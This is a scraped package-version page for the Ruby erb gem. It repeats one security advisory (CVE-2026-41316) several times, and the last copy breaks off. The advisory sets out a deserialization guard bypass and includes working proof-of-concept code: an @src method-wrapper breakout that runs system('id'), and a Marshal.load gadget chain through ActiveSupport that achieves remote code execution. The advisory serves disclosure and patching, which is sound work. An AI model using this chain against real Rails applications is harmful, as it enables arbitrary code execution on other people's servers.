          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 12, 2025

5.1.2 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 28, 2025

5.1.3 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 28, 2025

5.1.1 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 12, 2025

5.1.0 minor

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 11, 2025

5.0.3 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
